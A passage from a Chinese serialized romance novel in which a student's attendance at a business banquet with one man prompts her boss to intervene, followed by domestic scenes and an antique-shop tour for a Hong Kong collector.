钟缊酌指尖漫无目的地在屏幕上划着,最后停留在一件银色法式晚礼裙上。 简单的方字领口设计,泡泡袖,裙面上布满银色的亮片,便再没有多余的装饰。 钟缊酌给他回,就这件吧。 屋里有些发闷,钟缊酌起身去开厨房的窗户,让对流风进来。 她站在那扇窗边时,一眼望见对面那栋熟悉的楼层,是黑着灯的。 她想起来,他已经搬走了。 以后应该也没人那么古板的,给她在玻璃上写祝福语了吧。 钟缊酌默默站了两分钟,便继续回到屋里去看书 这次招商会是在一家五星级酒店举办,因参与的企业不少都带有国字头,主办方可谓是相当重视。 几乎所有外勤人员全部出动,还是不够人手,于是连财务部的同事都被拉来负责给嘉宾签到。 元旭指着其中一个名字后面的职位,纳闷道:“咦,北科那么大的公司,怎么就派个主管来?” 旁边的同事看了眼说:“你说那个吴少维啊,据说他是临时替总经理来的,他们公司这阵子集体团建,领导都不在。” “你别看他职位不高,人长得可帅呢!” 另一个女同事也兴奋地凑过来,“刚刚你没在,我给他签的到,他带来的那个女伴也超漂亮!” 几人趁着空闲讲起八卦,被路过的领导看到批了几句,立马就不敢吱声了。 这时门口又走进来一位嘉宾,一身高定的西装,很有派头。元旭站起来问:“您好,请问您怎么称呼?” 对面的人说:“邹律。” 元旭迅速翻看人名单,找到后又和他确认一遍,“您是中治的邹副经理是吧?” “是的。” 元旭在名字后面打了个勾,“好的,您请进。” 邹律阔步走入主会场,在工作人员的指引下,找到自己的人名牌后坐了下来。 他今天是自己一个人来的,这场招商会集团并没有太过看重,只是派他来走个过场。他估计等不到晚宴开始就要先撤。 会议持续了两个多小时,结束后邹律和几位眼熟的领导寒暄几句,然后给助理打电话。 “邹总,您这就要走了啊,还有晚宴呢。”有人过来问。 “嗯,我对这种活动没什么兴趣,也不会跳舞,还是你们年轻人更适合参加。” “您说的哪里的话,跳舞又不是必须的,咱可以一起吃吃饭聊聊天嘛。” 周围几人都在劝他,邹律不好驳大家的面子,只好撂下手机,无奈表示:“那好,先吃点东西再走。” 晚宴是七点开始,邹律来得早,在宴会厅门口和人散烟,正聊得起劲儿,忽然听到身后有人和他打招呼。 他转过去,看到一位穿棕色西服的年轻人,长得很精神,白白净净的,有些眼熟,但一时想不起来在哪儿见过。 “邹总,好久不见。”吴少维礼貌伸出手,和他握了握。 见对方未开口,想必已不记得自己,他主动介绍道,“我是北科集团的吴少维,先前在新能源行业展会上有过短暂的交流。” 邹律适当地笑了笑,“是小吴啊,我想起来了。” 问候完之后,他这才把注意力转移到旁边那位女伴身上。 女孩穿着简单的银色礼裙,妆容淡雅,清秀脱俗,眉宇间却透着一股稚气,想来年纪不大。 只是他怎么觉得这姑娘看着也有那么一丝丝的眼熟? 邹律眼见女孩挽着吴公子的胳膊,礼貌向他点点头,随后两人并排步入大厅。 他看着她的背影,身型和记忆中的那一抹倩影重合。 那时的她还穿着一件米白色毛衣,坐在医院走廊外的长凳上,和秦拂清靠在一起。 怎么会?这姑娘不是秦总的女朋友吗? 邹律不知是自己眼花了,还是两人单纯长得相似。 又或者邹律摇摇头,总不能有人敢这么明目张胆地给秦总戴绿帽吧。 宴会开始后,舒缓的音乐声同时飘荡在大厅上空。很多人没等吃上几口,便迫不及待地涌入舞池跳起交际舞来。 邹律听旁人在讲着什么第二季度规划,心不在焉地应和几声,眼睛却时不时地瞟向舞池中央。 那份疑惑始终埋在心里挥之不去。 邹律最终还是没忍住,掏出手机,给秦拂清发了个信息:【老秦,忙不忙?】 秦拂清很快回复他:【不忙】【邹总有何吩咐】 邹律没心思跟他开玩笑,认真措辞:【你别嫌我说话直啊,我想问下,你跟你女朋友分手了吗?】 不知是他太唐突,还是秦拂清确实有什么难言之隐。 他看到屏幕里显示对方正在输入中,中间停顿了一下,似乎又删掉了,过了好一会儿才又把消息发过来。 秦拂清:【有什么事您可以直接跟我讲】 他没把话说满,怕是也嗅到了一丝不对味儿。 邹律咂咂嘴,总不该真被他猜着了吧? 邹律:【我今天不是来参加那个金辉的招商会嘛,这会儿在晚宴上碰见个姑娘,跟你女朋友长得特像】 秦拂清:【她跟别的男人在一起?】 邹律心里直冒凉气:【是的】 邹律生怕自己认错了,找个机会冲舞池的方向拍了张照片,给秦拂清发了过去。 【你仔细看看,就中间穿银色礼裙的那位】 好半天,对面都没再回话。 邹律已经开始坐立不安了,他好像无意中窥得了一个惊天大秘密,而这个秘密还是由自己引发出来的。 有人过来敬酒,邹律起身碰了一杯。 白酒的辛辣感划过喉咙,顿时浑身燥热起来。 恰好此时,屏幕又亮了,他点开消息。 秦拂清:【辛苦邹总,麻烦问一下,宴会几点结束】 邹律:【九点半】 看样子他是要过来抓奸了。 邹律将手机撂在一旁,几乎能在脑子里想象出秦拂清平淡语气背后那张愤怒的脸。 作者有话说:评论区掉落红包~【..top】 40-50 第41章 尽管已经做好了心理准备, 但当钟缊酌被吴少维牵着走向舞池时,还是忐忑得手指忍不住地颤抖。 这是一种非常奇怪的感觉,和害羞无关,她能清晰地感觉到自己整个身体在发出抗拒。 吴少维似乎也察觉到了女孩的不自在, 轻声安慰道:“别紧张, 跳得不好也没关系, 没人会注意到我们。” 钟缊酌勉强发出声音回他:“嗯。” 两人面对着面站在一起,钟缊酌的脸色还是很难看,她连装都装不出来了。 吴少维盯着她,他的呼吸并不是那么顺畅,却故作轻松说:“你若是踩到了我, 我就当做什么都没发生。” 钟缊酌其实很感激吴少维这个时候还能考虑到她的感受,还在努力调节气氛, 但她骗不了自己。 她以为自己会很大方,有能力应付这样一个礼节性的交际舞, 他们是挺好的朋友,不是吗? 悠扬的音乐声在头顶响起, 人们欢声笑语, 热情洋溢,钟缊酌却麻木地踏着舞步, 注意力全在脚上的动作, 完全不敢直视对方的眼睛。 所幸吴少维还算绅士, 手上几乎是虚扶着她的腰, 没有要占便宜的意思。 “晚饭不好吃吗?”吴少维忽然开口问。 “啊?” “我看你吃得很少。” 钟缊酌努力搜索着措辞, “味道其实挺好的,可能刚才还不太饿。” 为了保持正常交流,钟缊酌终于稍稍抬起了头。 可她还是没有看对方, 视线从他的肩膀上穿过,来到那扇镶着金色边框的厚重的金属大门上。 什么时候才能结束啊,她想。 曲子还不到一半,钟缊酌就犯下了第一个错误。 走神的那几秒,她的右脚一下子踢到了对方的小腿上,她的鞋是尖头的,疼得吴少维直呲牙。 “对不起!”钟缊酌立马停了下来,慌张道歉,“我不是故意的,我忘记换脚步了。” 吴少维本是有点不开心的,因她全程这副不情不愿的样子。 但一撞上女孩愧疚的眼神,心就又软了下来。 吴少维没怪她,提出建议:“不然我们再去吃点东西吧,或许你需要补充下.体力。” 钟缊酌用力点头:“嗯。” 两人刚一坐下,就有人过来和吴少维搭讪,说是对他们公司近期开发的产品很感兴趣,他和她解释要离开一会儿,让她多吃一点。 钟缊酌很懂事地表示,你忙你的就好,不用担心她。 这会儿大部分人都吃完了,大家各自忙着社交,这一桌除了她,就只剩下一个穿着鱼尾裙头发高高盘起的姑娘。 她看到钟缊酌落了单,好心地坐过来和她聊天:“妹妹,你是哪个单位的呀?” “我还在上学,今天来陪朋友的。”钟缊酌弯眼道。 “怪不得看你这么年轻,是男朋友吗?” “不是,就一普通朋友。” 女孩似乎有些惊讶,但很快转变了神情,又随意扯了些别的。 她起身准备去趟卫生间,或许是裙摆太长,她弯腰去提,不料胳膊肘碰到了桌上的饮料杯。 一瞬间,流下的液体几乎全部洒在钟缊酌的裙子上。 “诶呀!真抱歉!”女孩懊恼地将人拉起,“快跟我去外面,我帮你擦擦。” 钟缊酌就这样稀里糊涂地跟着她去了卫生间。 尽管女孩很用心地帮她擦,但裙摆上仍留有一片黄色痕迹。 “完蛋了,这裙子一看就很贵,我陪你钱吧。” 钟缊酌摆手说:“不用不用,这是朋友借我的衣服,我帮他去洗衣店里清洗一下就好。” “唉,那你能解释得清吗?他会不会怪你?” “不会的放心吧,他人很好。” 钟缊酌提着裙子回到座位上时,吴少维正站在那儿给她打电话。 “你去哪里了?我还担心你出了事。” 他一低头就看到裙面上的那抹污渍,皱眉道:“怎么弄得啊?” “刚刚一姑娘不小心打翻了果汁,我们擦不掉了,回头我找个洗衣店处理一下。” “如果实在弄不干净,我来赔你钱。”她补充一句。 吴少维颇为无奈,“不是钱不钱的问题,你穿着它总不太雅观。” 他犹豫了一瞬,还是劝道:“不然先换件衣服吧。” 钟缊酌懂了他的意思,其实她心里还隐隐有些开心,因为这样的话,就不用再去跳舞了。 钟缊酌去更衣室换了自己的衣服出来。 卸掉那一身的枷锁,顿时浑身轻松了许多。 她进门时还撞见了那个和吴少维寒暄过的邹总,他正打着电话大步流星往外走。 不知为何,钟缊酌总觉得他看自己的眼神有些奇怪 她没多想,来到长桌前。这一下饭也吃得香了,钟缊酌就着那盘子新上的香煎鳕鱼,又干掉了两碗米饭。 整个过程中吴少维都没怎么找她说话,只是默默在一旁陪着。 九点一过,嘉宾陆陆续续开始离场,两人也已吃饱喝足,吴少维让她去酒店门口等着,他去取车。 钟缊酌便独自一人站在那旋转门外,呼吸着新鲜的空气。 暖黄色的灯光透过顶棚的格栅洒下,照在她的脸上,像是渡上了一层薄薄的面纱。 不远处,一辆黑色轿车停在路边。 起初,钟缊酌是没怎么在意的,京市的豪车并不少见,她看不见车头,只能从侧面轮廓猜测应该是辆宾利。 直到从车里走下来一个穿着白衬衫的男人。 他颀长的身影也笼罩在了暮色里,看不真切,那人步态平稳,两手抄着西裤口袋缓缓向她走来。 钟缊酌终于借着头顶上隐隐绰绰的灯光看清了来人。 秦拂清?他怎么会在这里? 在钟缊酌发愣的几秒,男人已经来到了她面前。 他神色平静,但钟缊酌从那略微褶皱的衣领猜出,应该是匆匆赶来的。 “秦总您也来参加活动?” 尽管这么问让钟缊酌觉得自己很蠢,这个时间点,活动都快结束了,人家还来干什么。可如果不是这个原因,她实在想不出大晚上的秦拂清还能跑到这个酒店做什么,他在京市又不是没地方住。 “这里有活动啊。”秦拂清眉眼含笑,可声音里却没带半点笑意,反而夹杂了一丝不易察觉的冰冷,“那我还真挺好奇什么活动能这么吸引你,假期不在家好好休息,跑到这儿来受罪。” 明明是春风和煦的季节,钟缊酌的胳膊上却起了一层鸡皮疙瘩。 所以他只是路过吗?看到她站在这里,就过来看一眼。 但这个解释同样充满着漏洞,钟缊酌大脑明显已经运转不过来了。 “我其实是因为——” 她话没说完,一辆奔驰车缓缓驶了过来,停在两人身侧。 吴少维降下车窗,和秦拂清对上视线,“秦总,没想到在这里碰上您,还真是巧。” “是挺巧。”秦拂清依旧笑着,“你们一起的?” 吴少维回他:“是。” 秦拂清“哦”了声,“这里面到底有什么好玩儿的东西,能值得你俩大晚上的聚在一起,我还真想去瞧瞧。” 他话语里夹枪带棒的,吴少维也不是什么初入社会的纯情少年,听得懂这里面的火药味儿。 他舔了舔后槽牙,面无表情道:“一个普通的招商会,不过差不多快结束了,秦总若是感兴趣,下次记得亲自报名。” 秦拂清背过手,盯了他两秒,对方也没有下车的意思。 他干脆剥掉最后一层伪装,嗤声道:“那我就奇怪了,你参加招商会,把缊酌叫来做什么?” “招商会有晚宴,我请她来做我舞伴的,秦总。” “什么规格的招商会啊,需要主管级别的嘉宾必须带舞伴?” 这话一出,吴少维的脸瞬间绿了。 他瞒不过秦拂清,也不想在这儿浪费时间,转头对那个已经懵掉的女孩说:“缊酌,上车吧,我送你回大院。” “好。”钟缊酌的脚步刚迈出一步,手腕忽然被旁边的人捉住。 “我送你回去。”秦拂清声音压了下来。 钟缊酌心脏狂跳,既没向前也没转身,像是被什么东西钉住,一动也不能动。 “缊酌,上车。”吴少维厉声道。 她从没见过吴少维这副样子,他向来温和有礼,钟缊酌有点被吓到了。 她下意识抽出手,“秦总,多谢你的好意,但今天就不多麻烦你” “钟缊酌,你欠过我的恩情,还记得吗?”秦拂清眸色深谙,沉着声提醒她。 钟缊酌慌忙点头:“记得,当然记得。” “那我现在就要你来还。”秦拂清一字一顿,千斤重的声音往她身上砸,“我要你今天上我的车。” 钟缊酌的耳边像是一场狂风呼啸而过,周围地动山摇,强烈的眩晕感封住了她所有的感官。 视线凝滞片刻,秦拂清下巴一点,示意她跟上,随后抬脚走向马路对面。 他的身影融入夜色,钟缊酌完全不敢看吴少维的表情,屏住呼吸追了过去 车内一片寂静。 驾驶座上的男人自打上了车之后,就没再跟她说过话,钟缊酌也算得空让自己的呼吸平稳下来。 钟缊酌心里明白,深城发生的那件事,已经让两人之间的关系变得不再一般。 有些事情她不想面对,也不敢面对,这几日,她一直在琢磨,在秦拂清没有明确说出那句话之前,她是不是就可以当作什么都没发生。 可她又实在想不通,欠了他那么大的一个恩,就这样被他随意用掉了吗? 他以后八成得后悔。 正胡思乱想着,秦拂清突然开了口:“那姓吴的到底给你下了什么蛊,你就这么听他的话。” 钟缊酌听出男人声音里的不悦,她苦涩地撇撇嘴:“他以前帮过我,做人得知恩图报。” “知恩图报?”秦拂清气得想笑,“我帮你那么多次,怎么不见你这么报过我?” “您也没这么要求过我啊”钟缊酌心虚地绞着手指,尾音越来越低。 “我敢吗?”秦拂清口吻里憋着一股气,“稍微一越界,又要开始批斗我。” 钟缊酌呼吸不自觉乱掉了。 她咬着嘴唇想,这话怎么竟听出一股委屈的味道。 秦拂清沉默的功夫,察觉到空气中的异样,忽而叹气:“你也就跟我有本事,之前在深城被人插队都不敢吱声。” 钟缊酌还沉浸在自己的臆想里,听他这么讲,恍惚了半天才反应过来。 所以他当时看到了那一幕? 钟缊酌顿时有种在外丢人被熟人窥到的羞耻感。 她气呼呼地辩解:“我哪里不吱声了,只是没怼过好吧。而且,您既然看见了,就在那儿看笑话啊,都不知道来帮我一把。” 说完这句话,意识到自己失言,钟缊酌立马闭起嘴巴。 她日子也是好起来了,都使唤上秦拂清了。 而她不知道,当自己的那份少女天性被释放出来时,说话的口吻听起来多么像撒娇。 秦拂清嘴角止不住向上扬了扬。 他声音忽然温柔起来:“嗯,下次一定帮你。” “什么下次,我才不会总跟人吵架呢。” “那可不一定,你跟我吵都不止一次了。” “乱讲” “嗯,我乱讲。” “” 作者有话说:评论区掉落红包~ 第42章 快到楼下时, 钟缊酌才想起来,那条蘸了污渍的裙子还放在包里。 她下意识回头看了眼,心想,回去之后得找一家好点的洗衣店, 别给人留下痕迹。 “包里那么鼓, 装得什么。”秦拂清察觉到她的举动, 随便问了一句。 “舞会上穿的礼裙。” “你自己买的?” “不是”钟缊酌顿了顿,小声说,“吴少维借我的。” 秦拂清语气立马淡了下来:“那怎么还带回来了。” 钟缊酌解释:“我吃饭时不小心把果汁洒在了上面,要给人清理干净。” 车子停下后,钟缊酌一边去拿后面的包一边跟秦拂清道谢:“谢谢秦总送我回来。” 秦拂清却忽然拽住她另一侧的书包带, “给我吧。” 钟缊酌:“什么?” 秦拂清顺势拉开拉锁,看到那一抹亮丽的银色, 想到她跳舞时的样子,刺得眼睛生疼。 他一把拽出, “我帮你拿去洗,洗完就还给姓吴的, 不用你过手了。” 钟缊酌怀疑自己是不是听错了, 他现在闲得连这种事都要管了吗? “但是” “别但是了,你下不下车?我再晚点儿回去家里要锁大门了。” 差点儿忘记, 他现在不住这里, 还要赶回四合院那边呢。 钟缊酌有点不好意思地抱起空空如也的包, “那好吧, 我这就下车, 您路上小心。” 钟缊酌透过玻璃窗和他摆手告别,一直到目送车子离开。 她飞速跑进楼道,心脏还是一阵阵不规则地乱跳。 钟缊酌没办法平静下来, 有个荒唐的想法直往脑子里钻。 秦拂清今晚的异常该不会是因为他吃醋了吧?- 钟缊酌返校的第一天,中午下了课之后回到宿舍,听到白琪和楚希雅在议论什么食堂外的跑车。 “你看到了吗?那辆金色的阿斯顿马丁。” “没有,我没去一食堂,长什么样子?是不是很酷。” “超级炫酷,路过的时候好多人在围观,我都不好意思靠近。” “下次再遇上这事儿你拍个照片回来。” 听两人聊得火热,钟缊酌也没接话,撂下书包往椅子上一坐,就开始刷手机。 “缊酌,你不去吃饭呀?”白琪问。 “嗯,一会儿去,我等若若回来呢。” “她去哪儿了?” 钟缊酌说:“卫生间,她有点拉肚子。” 等宋黎若从卫生间出来,扶着墙回到宿舍时,钟缊酌已经通关了一个小游戏。 “你怎么样,要不要先躺一会儿?” 宋黎若摆手:“不用,姑奶奶有的是力气。” 钟缊酌忍不住笑:“那咱们现在就出发吧,姑奶奶。” 宋黎若又换了件衣服,两人一起下了楼。 往常她们去三食堂比较多,今天钟缊酌却说想换个口味,建议去一食堂。 “你拿了一食堂的广告费呀。”宋黎若调侃她。 “嗯,你就当是吧。” 这个时间点食堂外来来往往的学生很多,宋黎若正兴奋地讲着课上她托腮睡着后做的那个梦,直到视野内忽然映入一抹金色,她立即噤了声。 “怎么了?”钟缊酌假装什么都没看到。 “缊酌我们换条路走吧。”宋黎若说。 “嗯?为什么。” 瞧着她故作迷糊的样子,宋黎若突然意识到这家伙该不会早知道那人就候在这儿,才故意说要来一食堂的吧? 但她也管不了那么多了,直接转身就要回去,却听到那一道熟悉的嗓音从身后传来:“宋黎若!——” 她顿了顿,琢磨着是直接丢下好友逃跑还是拉着她一起跑。 然而没等纠结出结果,谈勉已经大跨步来到她身旁,“给你打电话为什么不接?看见我就躲是吧,这时候知道心虚了?” 她摸了摸耳朵,讪讪对上他的目光,“我心虚什么啊,我又没做什么对不起你的事。” 谈勉指了指自己的脑袋,“那是谁把我包成个木乃伊,害得一回院儿里就被嘲笑了好久,你让我以后在圈子里还怎么混!” 宋黎若不说话了,斜眼看见那个狡猾的闺蜜正乖乖站一旁等着,她咳了声,“要不我请你吃饭吧。” 谈勉双手抱臂,“吃什么?” “食堂。” “食、堂?”刚刚还心软了一下的谈勉立即瞪起眼睛。 宋黎若撅嘴,“不愿意就算了。” 谈勉最后还是投了降。 他跟在两个姑娘的身后,像个保镖似地半句话不说,冷着一副俊脸。 宋黎若给他打了三份菜,土豆炖鸡块,麻婆豆腐,红烧肉。 “够丰富吧,少爷,平时我们都不舍得吃的。”她笑了笑,露出不明显的小酒窝。 谈勉神色不明地盯了她几秒,而后微微扯了下唇,“我谢谢了。” 钟缊酌看这俩人在那儿“打情骂俏”,也不好插嘴,只能拼命降低自己的存在感,默默吃着眼前的鸡翅包饭。 宋黎若开始问起谈勉工作上的一些事,她考虑自己毕业后是考研还是直接工作。 结果谈勉讲了一大堆,她只感叹一句:“听起来好心累啊,要那么勾心斗角的吗?” 谈勉吐出一块骨头,漫不经心地传输经验:“你不去国企央企会好一些,或者做技术骨干,别往管理层走。” “我才不想当领导,也不是这块料。当领导多容易衰老啊,你看秦总,二十多岁的人瞧着跟三十多似的。” 听到这句话,钟缊酌差点儿被嘴里的米饭呛到。 她埋头在那儿嗤嗤地笑,脸都憋红了。 谈勉也忍不住弯唇,说出的话却还是护着对方面子的:“你怎么在背后蛐蛐人呢,秦总那工作量不是一般人能比的,自然沧桑得快。” 宋黎若一边解释一边过去拍钟缊酌的后背,“我没说他长得老啊,脸还是挺年轻的,只是说气质成熟。” 钟缊酌咬住嘴唇,拼命点头,“我懂你的意思。” 宋黎若又拿起筷子戳谈勉的盘子,“快吃吧,你可别得意,过不了几年你也得变这样。”- 钟缊酌在下午最后一节课快要结束时,意外收到一条信息。 FU:【缊酌,我想吃烤面包了。】 简单的一句话,钟缊酌读了好几遍。意思是他想要她给他做烤面包么? 钟缊酌想起来,她曾经的确答应过这件事。 她带点哄人的口吻给秦拂清回:【行,您忍一忍,我今晚回去就做。】 FU:【那明天放学后送我这儿来?】 钟缊酌皱眉盯着屏幕,怎么还要送他家呀,就不能等周六拿到古玩馆,明天可就周五了。 她叹口气,无奈敲下:【好,您把地址发我。】 FU:【什么地址,我住你楼后面。】 原来他是要她送到大院那边啊,可他不是已经搬家了吗? 钟缊酌还在思考的功夫,对面又发来:【知道门牌号吗?】 钟缊酌:【知道,上次您在玻璃上写字的时候就暴露位置了/呲牙/】 FU:【嗯,还算聪明。】 被他这样调侃,钟缊酌竟然气不起来。 她甚至能想象出屏幕背后,秦拂清那一副眉眼含笑的表情 上次做烤面包用的一些食材还有剩余,她又买了一些新鲜的牛奶和鸡蛋。 钟缊酌花上三个小时做了好几种样式的面包,陶美珍还以为她要给朋友过生日,问她:“哪位朋友这么大面子呐?” 钟缊酌笑说:“那位可不是一般的面子大。” 她将做好的面包放入保鲜袋,次日回到家,拿出来一一装进准备好的礼盒袋子里。 虽然不是什么节日,但仪式感还是要有的。 钟缊酌出来之前又给秦拂清发了个信息,然后便提着袋子出发了。 夜晚的凉风在耳边嗖嗖地吹,钟缊酌将被风吹歪的荷叶领子摆正,又顺手整理一下头发。 来到那道古铜色的防盗门前,她抬手敲了敲门。 十几秒后,眼里照进一缕光亮。 面前的男人身上一件真丝材质衬衫松松散散地垂下来,落在西裤外,扣子被解开两颗,露出半截锁骨。 他倚在门框上,手抄进口袋。这一副倜傥贵公子的模样,和平时一丝不苟的秦总简直判若两人。 只一眼,钟缊酌便红了脸。 她立即别开视线,将手里的袋子递过去:“秦总,这个给你。” 秦拂清嘴角挂着淡淡的笑意,长指勾住:“这么多啊,你是真想撑坏我。” “秦总,没什么事的话,我就先回去了,您慢慢享用。” 好似失去了对话的能力,她只一心跟他告别。 结果还没转过身,就被秦拂清厉声喊住:“等等。” 他晃了晃手里的袋子,很自然地发出邀请,“我一个人吃不完,你也来吃点。” 钟缊酌嘴唇微张,费半天劲憋出一句:“可是,这样不太好吧。” 秦拂清就笑:“怎么不太好?” 钟缊酌小声说:“现在挺晚的了您得注意影响。” 她看他没说话,挺无语的样子。 钟缊酌心想,她说的也没错呀,以前他是这么教过她的。 秦拂清睨她:“你仅存的那点儿防备心,全用在我身上了是吧。” 秦拂清说完就往屋里走,不关门,也不理她。言外之意,你是进来还是离开,自己看着办吧。 钟缊酌只犹豫几秒,便侧身进了门。 客厅的布置极其简单,一张真皮沙发,前面是厚重的红木茶几,上面摆了几套陶瓷茶具。 在客厅的侧面,则放着一个空了的博古架,钟缊酌能想象出,它上面原本陈列着一些贵重的古玩,如今已经都被搬走了。 “先坐。”秦拂清招呼完她,端着一套茶具去了厨房。 钟缊酌也没客气,直接走过去,往沙发上一坐。 但姿势还是很规矩的,后背挺得倍儿直,两手平放在膝盖上,乖乖等着他回来。 不一会儿,秦拂清拎着一壶沏好的茶水回到客厅,把陶瓷杯放到钟缊酌面前,给她倒了一杯。 “试试我的手艺怎么样。”他说。 平时架子那么大的秦总竟然肯为她泡茶,钟缊酌赶忙端起来,轻轻抿了两口。 茶香萦绕在舌尖,她仔细品了品,称赞道:“好喝。” 秦拂清挑了下眉:“能不能走点儿心。” “真的好喝。”钟缊酌撅起嘴跟他犟。 秦拂清又问:“那跟你的手艺比起来谁更好?” 钟缊酌沉默几秒,还没想到该怎么回,就被秦拂清“教育”起来,“你缄口的这一会儿领导心里就有答案了,这种问题是能犹豫的啊。” 钟缊酌不服气,叉起腰来义正言辞地开始讲大道理:“是您说过私下不是我领导的,我当然要遵从内心回答,不能欺骗您呀。” 秦拂清忽然就笑了,“你这张嘴也就跟我吵架的时候最厉害。” 钟缊酌立马垂下眼,不言声了,闷头继续喝茶。 她从余光瞥见秦拂清递过来一块面包,伸手接过,小口地吃起来。 秦拂清吃东西的时候,几乎是没有声音的。钟缊酌偶尔会偷偷看他一眼,只发现他的下巴在嚼动。 他一边吃一边看起旧报纸,对她的打量视而不见。 两人默默吃了好一会儿,秦拂清才又开口:“你还给别人做过烤面包吗?” 钟缊酌如实说:“我爸妈和陶姨,还有宋黎若,就没有了。” 他轻轻“嗯”一声,用最平静的口吻说出一句最令人想入非非的话:“那以后能不能只做给我吃。” 钟缊酌惶然抬起头,正对上秦拂清那双目若朗星的眼睛。 她心跳瞬间失衡,不知所措地抠着手上的面包,“我可不敢保证。” 秦拂清没逼她,只咳嗽一声说:“就当我许了一个不切实际的愿望吧。” 钟缊酌吃得慢,她啃完一块时,秦拂清都已经吃掉三块了,他问她还想不想吃,钟缊酌摇头。 秦拂清说:“那我明天就带走了。” 钟缊酌好奇问了一句:“您今晚住这儿吗?” 秦拂清说是。 她自言自语嘟囔着:“可这里看起来很简陋的样子” 秦拂清听了她的话,淡笑一声,“至少比在家里清净。” 没想到秦拂清也会惧怕家人。 钟缊酌心里琢磨着,倒也是,他爹是当大官的,脾气一定不小。 钟缊酌准备起身离开时,秦拂清又叫住她:“缊酌,你明天能不能加个班?” 她眼里带着迷茫,秦拂清给她解释:“我有个香港的朋友对古董很感兴趣,他行程安排得紧,后天要赶早班机回家,所以只能明晚抽空去趟古玩馆。” “你先接待他,我晚点会到。”他补充一句。 反正是周六,她也没什么事,钟缊酌挺痛快就答应了:“没问题的,秦总。” 作者有话说:小提示:下一章重头戏 评论区掉落红包~ 第43章 晚上回到家, 钟缊酌给叶锦打了个视频电话。 白天她听母亲发来信息说父亲的伤势已经好许多,昨天连同胃镜也一起做了,确实是有炎症。 视频里,叶锦眼角有轻微的红血丝, 钟缊酌以为她又熬夜, “妈, 不是给我爸雇了护工吗?怎么还熬夜呀。” “妈没熬夜,就是睡得不踏实。”叶锦刚吃完饭,正往病房走,“这几天总做噩梦,想如果你爸真出意外走了, 咱娘俩可怎么办啊。” 钟缊酌“呸呸”两声,“您别胡思乱想好不好, 车祸的概率很低的,这次过去就不会有事了。” “而且因为这次意外, 合作方那边说项目进度又要放缓” 父母学的专业是半导体,之前开公司也是做的相关行业, 来深城一是因为这里适合创业, 二是有旧友开路,他们人手本就不多, 钟启明相当于主力之一。 钟缊酌劝慰母亲:“没关系, 慢慢来嘛, 您往好处想, 说不定父亲休息一段时间回去又能冒出新点子, 神经总绷得太紧也不行。” 叶锦已经到病房外,也不好再继续这个话题,打了个哈哈说:“等下我把手机给你爸, 跟他聊两句吧。” 画面转到父亲的脸上,钟缊酌立马开始唠叨起来,说您要听医生的话,以后不能再喝酒熬夜,记得按时吃胃药。 钟启明经历这次遭遇,大概也是想通了一些,一一向女儿允诺。 钟缊酌挂掉电话之后,看到几分钟前有人给她发消息。 她打开,瞥见那一行字,顿时怔住了。 吴少维:【缊酌,我收到洗好的裙子了,是秦拂清派人送来的。我想冒昧问一句,你们两个是在一起了吗?】 这段话最让钟缊酌感到意外的,不是吴少维误会他们俩的关系,而是他竟然表达得这么直接。 钟缊酌深吸一口气,板着脸敲字:【没有,我那天坐他的车回来,秦总恰好看到可能怕我弄不干净,就帮忙拿去处理了。】 吴少维:【噢抱歉,看来是我想多了,你别介意啊/尴尬/】 钟缊酌本来也没在意,只是对他太过直白的口吻略感不舒服,这会儿见他也诚心道歉了,便大方回:【不会,我还担心他太忙把这事忘了呢,还给你就好。】 钟缊酌以为这段对话就结束了,结果吴少维又问她:【这周末有没有空?我这边有两张米罗摄影艺术馆的门票,想约你一起去看看。】 这让她想起那天在酒店外,秦拂清说过的一句话:什么规格的招商会,需要主管级别的嘉宾必须带舞伴? 其实钟缊酌在现场也有观察到,并不是所有人都带了舞伴。 当时她太紧张,也顾不了那么多,现在联想秦拂清的话,确实让人费解。 她不敢因此断定吴少维就是故意的,但还是稍稍避个嫌比较好。 钟缊酌干脆利落打下一句话:【我对这个兴趣不大,你要不问问别人呢?】 吴少维似乎挺失落,好半天才回她一个“好”字。 钟缊酌心想,就算这样会伤害到两人的友谊,也总比让人家误会的强- 隔日周六,钟缊酌是下午五点多到的古玩馆。 秦拂清告诉她可以晚点来,但她还是提前了一个小时。 钟缊酌先是给小虎喂了点猫粮,小家伙那会儿还在眯觉,听到响动,张牙舞爪地扑过来,大抵是饿了。 喂完猫之后,钟缊酌又去泡了一壶普洱茶,这是香港人喜欢喝的品种,秦拂清有交代过。 约莫过了六点半钟,从门外传来一阵响动。 钟缊酌跑出去,看到胡同里停了辆相当显眼的黑色劳斯莱斯。 驾驶座上正走下来一位司机模样的中年男人,那人直接绕到后座,恭恭敬敬拉开车门。 “先生,古玩馆到咗。”说的是标准的粤语。 暮色将至,钟缊酌勉强能看清客人的模样。 梳着大背头,五官硬朗,浓眉,眼窝深邃,穿一件浅灰色格纹西装套装,内搭领巾,很复古的造型。 钟缊酌上前几步,谦和问候:“梁先生,您好,我是这里的讲解员,请您跟我来。” 梁屿琛打量几眼面前的姑娘,和司机打了个手势,示意他守在外面,然后冲钟缊酌点头说:“有劳。” 钟缊酌带人直接去了会客室,她将泡好的茶端上来,麻利倒上一杯:“梁先生,先喝口茶润润嗓子,我一会儿带您去展览室参观,秦总可能要晚些过来。” “谢谢。” 他拢共没说几个字,但钟缊酌能明显听出那略显僵硬的港普发音,好在他音色低沉,像是降过调的大提琴,晦涩但不难听。 “姑娘,请问贵姓?” “免贵,姓钟。” “原来是钟小姐。”梁屿琛放下杯子,带着平和的笑意,作势起身,“我喝好了,麻烦带我去展览室。” “好的,没问题。” 这位梁先生和以前大部分客人不同,明显是行家。 他能从外观大致判断出古董的年代,对于色泽和图案观察得也非常仔细,就连钟缊酌讲述的那些历史知识,也能略知一二。 梁屿琛指着眼前的粉色小碗问:“这件挺眼生,钟小姐能否介绍下?” 钟缊酌迅速从脑中调出对应档案信息,流利回答:“这是雍正期间的胭脂水釉小碗,其釉色酷似胭脂而得名,胎体极薄,内壁施纯净的白釉,外壁施胭脂水釉,烧成难度极高。” 梁屿琛点头,用粤语夸赞一句:“真好睇。” 紧接着,他又指向旁边的一鼎薰炉问:“那这个呢?” 同样熟悉的场景再次发生,钟缊酌眼中闪过一道浮光掠影。 时间仿佛回到一年前,那是她第一次和秦拂清见面,漏记了这鼎薰炉的信息。他清润的嗓音回响在耳边:忘记了? 钟缊酌至今仍然记得那一刻,他明明没有说过重的话,仅仅是身上散发出的威严就足以让人心惊胆战。 “钟小姐?”她发愣的时间太久,梁屿琛适时在一旁提醒。 钟缊酌挺直腰背,心想,这次我绝对不会再犯同样的错误。 